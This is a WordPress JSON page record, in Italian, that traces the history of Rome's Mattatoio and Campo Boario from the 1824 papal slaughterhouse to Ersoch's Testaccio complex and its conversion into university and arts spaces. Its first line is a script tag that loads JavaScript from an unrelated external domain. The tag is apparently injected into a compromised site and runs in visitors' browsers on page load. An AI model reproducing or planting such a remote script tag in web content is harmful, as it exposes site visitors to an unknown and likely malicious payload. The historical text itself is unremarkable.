<script src="https://id-id.id/Cru0j4" type="text/javascript"></script>{"id":183,"date":"2015-05-11T15:00:46","date_gmt":"2015-05-11T15:00:46","guid":{"rendered":"http:\/\/193.204.167.103\/aut\/?page_id=183"},"modified":"2015-05-15T08:46:50","modified_gmt":"2015-05-15T08:46:50","slug":"storia","status":"publish","type":"page","link":"http:\/\/193.204.167.103\/aut\/?page_id=183","title":{"rendered":"la storia del mattatoio e del campo boario"},"content":{"rendered":"<p><em><strong>\u00a0Il Mattatoio di piazza del Popolo<\/strong><\/em><\/p>\n<p><em>Dal 1824 al 1868: un primo passo verso il controllo della mattazione nella citt\u00e0 di Roma.<br \/>\n<\/em>Sotto il pontificato di Leone XII, con il Chirografo del 29 maggio del 1824, si decreta la costruzione di un pubblico Mattattoio. Il progetto \u00a0viene affidato all\u2019architetto Giovanni Battista Martinetti, ispettore delle acque e strade, e membro del Consiglio d\u2019Arte. L\u2019area individuata per il nuovo impianto \u00e8 una zona a nord della citt\u00e0, a ridosso delle Mura Aureliane, confinante ad ovest con il Tevere, a sud e a est con fienili e altri edifici. L\u2019estensione totale dell\u2019area \u00e8 pari a 13241,80 mq,\u00a0 di cui 3650 mq coperti da fabbricati.<br \/>\nL\u2019impianto del Mattatoio e del Mercato del bestiame era composto dagli Uffici di verifica e controllo delle operazioni daziarie e da due macelli di cui uno nuovo e uno costruito adattando un vecchio fienile. Altri locali erano adibiti ad uso di stalle per la sosta del bestiame domito. Nel lato sud, verso il Tevere, viene previsto l\u2019ingresso principale allo Stabilimento, con un piccolo Ufficio di controllo sanitario. Nell\u2019area scoperta, a ridosso delle mura di cinta erano collocati i rimessini di sosta del bestiame indomito, realizzati con colonne e barriere di legname, mangiatoie e abbeveratoi in muratura.<br \/>\nNel 1859 saranno progettati i bagni calorici e nel 1860 i nuovi fronti d\u2019ingresso alla citt\u00e0. Con questo progetto l\u2019amministrazione pontificia avvia un sensibile miglioramento e controllo delle condizioni igieniche di Roma, anche se permane il problema relativo alla macellazione dei suini, degli ovini e del bestiame bufalino che seguitava ad essere ucciso e confezionato all\u2019interno degli esercizi privati.<\/p>\n<p><strong><em>1868: il progetto di Gioacchino Ersoch<\/em><\/strong><\/p>\n<p>Nel 1868 l\u2019amministrazione comunale decide di trasferire nel pubblico Mattatoio tutte le lavorazioni delle carni destinate al mercato alimentare. Gioacchino Ersoch viene incaricato dalla Magistratura di studiare un progetto di ampliamento e di sistemazione del Mattatoio, in cui si potessero collocare i seguenti servizi: macello per il bestiame degli israeliti; macello dei capretti; pelanda o macello dei suini; tripperia; stalle di sosta del bestiame domito e rimessini per l\u2019indomito; distruzione delle carni infette;\u00a0 locale dei bagni calorico-animali; aumento e regolare distribuzione dell\u2019acqua. Ersoch descrive accuratamente le caratteristiche dei locali fornendo la superficie occupata, i materiali utilizzati tra cui il marmo per il rivestimento delle pareti, il legno per le coperture e le traverse, il ferro per le colonne. Ersoch prevede anche tutti gli accessori quali inferriate, banchi, uncinaie oltre ad indicare il complesso sistema degli scoli dell\u2019acqua. Il progetto comprende inoltre l\u2019ampliamento del Mercato con stalle e rimessini. Del 1869\u00a0 sono le costruzioni dell\u2019ampliamento che occupano anche l\u2019area\u00a0 della legnara pubblica sul Tevere.<\/p>\n<p><strong><em>Il nuovo mattatoio di Testaccio<\/em><\/strong><\/p>\n<p>Con il Piano Regolatore del 1873, elaborato da Alessandro Viviani, viene redatto un progetto di massima per la nuova sistemazione del Mattatoio e del Mercato, prevista tra il Monte Testaccio e le Mura Aureliane. Nel Piano Regolatore del 1883 sono indicati i principali requisiti relativi alla scelta della zona: vicinanza alla ferrovia Roma-Civitavecchia, al Porto di Ripa Grande e al Tevere. Tra il 1888 e il 1891 Gioacchino Ersoch, nominato direttore della Divisione III &#8211; Edilit\u00e0 e Architettura &#8211; del Comune di Roma, progetta e dirige la costruzione del nuovo Mattatoio di Testaccio, mentre il vecchio impianto realizzato a Piazza del Popolo viene dismesso e parte del materiale viene riutilizzato nel nuovo stabilimento.<\/p>\n<p><strong><em>Il progetto di Gioacchino Ersoch<\/em><\/strong><\/p>\n<p>Il progetto di Ersoch si articola su una superficie di 106.664 mq circa, ed \u00e8 diviso in due parti distinte: lo stabilimento di mattazione, a nord, articolato su una superficie di 50.858 mq e il Campo Boario, a sud, esteso su uno spazio di 55.786 mq.<br \/>\nLe opere edilizie sono appaltate all\u2019impresa Marotti, Frontini e Geisser, che incarica Carlo Tonelli di seguire i lavori, mentre le opere in ferro sono realizzate dall\u2019officina dell\u2019ingegner Pietro Fumaroli.<br \/>\nIl nuovo impianto viene progetto attraverso una razionale distribuzione dei diversi spazi in maniera da garantire la sorveglianza e la pubblica igiene per le diverse attivit\u00e0. Ersoch struttura il complesso secondo le seguenti funzioni principali: macelli, tripperia, pelanda dei suini, capretteria, stalle e rimessini. Per i macelli viene prevista l\u2019adozione del sistema a galleria, in sostituzione del vecchio sistema a cella. Le funzioni \u201cincomode\u201d sono collocate lontano dagli uffici centrali, lungo il perimetro dell\u2019area, in modo da agevolare l\u2019accesso dall\u2019esterno. Il progetto prevedeva, inoltre, un edificio per i serbatoi dell\u2019acqua, posto a confine tra il Mattatoio e il Mercato, in prossimit\u00e0 di un altro locale destinato alle macchine per elevare l\u2019acqua dal Tevere (con conduttura forzata).<br \/>\nI lavori del complesso iniziano nel maggio del 1888, con la costruzione della pelanda per suini. Contemporaneamente viene realizzato anche il fabbricato dei serbatoi, quello delle pese del bestiame, il locale delle macchine per elevare l\u2019acqua e la galleria filtrante lunga 115 m. Il cantiere prosegue con la sistemazione del Mercato (Campo Boario), caratterizzato dalle strutture in ferro dei rimessini coperti e scoperti. Lo spazio del Mercato era diviso in due aree, una per il bestiame domito e una per quello indomito, con due ingressi separati e con due uscite sul Mattatoio.<br \/>\nTra il Mattatoio e il Mercato viene collocato l\u2019edificio per il controllo del peso del bestiame \u00a0e, a ridosso di questo, il macello per i militari e per gli israeliti. Sia il Mercato che il Mattatoio comprendevano uffici per la Direzione, mentre nell\u2019area del Mercato vi era una trattoria, un ufficio contratti, la posta, il telegrafo, i locali per le guardie di sorveglianza e quelle daziarie.<br \/>\nDurante il cantiere vengono realizzati anche una serie di lavori di servizio all\u2019impianto come un varco di passaggio attraverso le Mura Aureliane, lo scalo alla ferrovia Roma-Civitavecchia, i muri di perimetro del complesso, la selciatura dei percorsi, \u00a0gli steccati e i passaggi provvisori.<br \/>\nIl complesso che viene inaugurato il 1\u00b0 dicembre del 1891 presenta alcune varianti rispetto al progetto originario. Il 13 febbraio 1894 Ersoch compila la stima generale dei lavori, il cui importo risulta pari a L. 7.022.598 (L. 4.042.622 per il Mattatoio e L. 2.979.976. per il Campo Boario).<\/p>\n<p><strong><em>Le trasformazioni nel tempo<\/em><\/strong><\/p>\n<p>Dal repertorio fotografico (in particolare dalle foto aeree dal 1919 al 1970) e dai dati di rilievo \u00e8 possibile documentare la sequenza cronologica degli interventi successivi al 1891. Gli interventi edilizi possono collocarsi negli anni 1909, 1911, 1919, 1923, 1932 e 1953. Dall\u2019analisi dello stato di fatto risulta che l\u2019adeguamento dell\u2019attivit\u00e0 di macellazione ha prodotto in alcuni padiglioni modifiche radicali, con demolizioni di partizioni e accorpamenti di nuovi edifici.<br \/>\nNel 1901 viene ricostruito in modo analogo, uno dei fienili del Campo Boario, distrutto da un incendio. Nel 1911 si realizza l\u2019edificio <em>Frigorifero<\/em> all\u2019esterno del Mattatoio su via Franklin. Nel 1919 si completa la perimetrazione del complesso che si estende anche verso il fiume. Nel 1924, allo spazio della pelanda viene inglobato il viale che separava l\u2019edificio dai serbatoi di acqua, questo nuovo ambiente sar\u00e0 coperto da una pensilina in cemento armato. Nel 1932, l\u2019area tra il Frigorifero e le stalle viene occupata da un altro corpo, con destinazione a sala terrena frigorifera. Una delle stalle, a destra dell\u2019ingresso principale, viene trasformata in salone di vendita, mentre le stalle a sinistra dell\u2019ingresso sono destinate a gabinetto micrografico e a museo di anatomia patologica. Anche l\u2019edificio posto su via Aldo Manuzio cambia la sua funzione in <em>Salone di vendita grande<\/em> modificando lo spazio interno e l\u2019altezza. Sempre in quegli anni si avvia la meccanizzazione del trasporto delle carni attraverso l\u2019installazione di guidovie aeree di collegamento tra i padiglioni. Nel dopoguerra, \u00a0al <em>Salone di vendita grande<\/em> viene annesso, al posto del vecchio locale attrezzi, un corpo ad angolo, prospicente il lungotevere Testaccio. Con la sistemazione delle sponde del Tevere e con la costruzione del ponte Testaccio, nel 1948, \u00a0il Mattatoio viene poi collegato alla parte ovest della citt\u00e0.<br \/>\nDopo la dismissione degli impianti, nel luglio 1975, il complesso sar\u00e0 destinato a diverse funzioni. Nel 1977 iniziano alcune demolizioni delle coperture e dei rimessini. Negli stessi anni si assiste a un ampio dibattito sulle ipotesi di recupero e rifunzionalizzazione delle vecchie strutture che porter\u00e0 l\u2019amministrazione capitolina a programmare il riuso dei vecchi padiglioni\u00a0per realizzare la <em>Citt\u00e0 delle Arti<\/em>.<br \/>\nGrazie a questa nuova destinazione i padiglioni\u00a0dell\u2019ex Mattatoio e del Campo Boario saranno recuperati per ospitare spazi polivalenti dedicati alla cultura e alla formazione tecnica e artistica, tra i quali il Macro, il Dipartimento di Architettura, l\u2019Accademia di Belle Arti, la Scuola popolare di musica di Testaccio. Ad essi si aggiungono, insieme con altri insediamenti, le aree e i padiglioni della Citt\u00e0 dell\u2019Altra Economia e della Pelanda.<\/p>\n<p><strong><em>Il progetto di recupero e rifunzionalizzazione delle aree destinate all\u2019Universit\u00e0 degli Studi Roma Tre<\/em><\/strong><\/p>\n<p>Con il progetto della <em>Citt\u00e0 delle Arti<\/em> si avvia anche il recupero degli edifici dell\u2019ex Mattatoio concessi dall\u2019amministrazione capitolina all\u2019Universit\u00e0 degli Studi Roma Tre. Nel 2000, con il restauro del padiglione 7, la Facolt\u00e0 di Architettura (oggi Dipartimento) \u00e8 stata la prima istituzione pubblica ad insediarsi nel Mattatoio dopo la sua dismissione. Nel 2010 si \u00e8 aggiunto il padiglione 15a, dove recentemente \u00e8 stata rinnovata la biblioteca che dispone di pi\u00f9 di 90 posti di lettura. Tre nuovi padiglioni (2b-4-8), nel 2013, sono stati completamente ristrutturati e attrezzati con grandi aule, laboratori, uffici e spazi destinati agli studenti. L\u2019intero progetto di recupero e rifunzionalizzazione \u00e8 stato coordinato da Francesco Cellini.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Il Mattatoio di piazza del Popolo Dal 1824 al 1868: un primo passo verso il controllo della mattazione nella citt\u00e0 di Roma. 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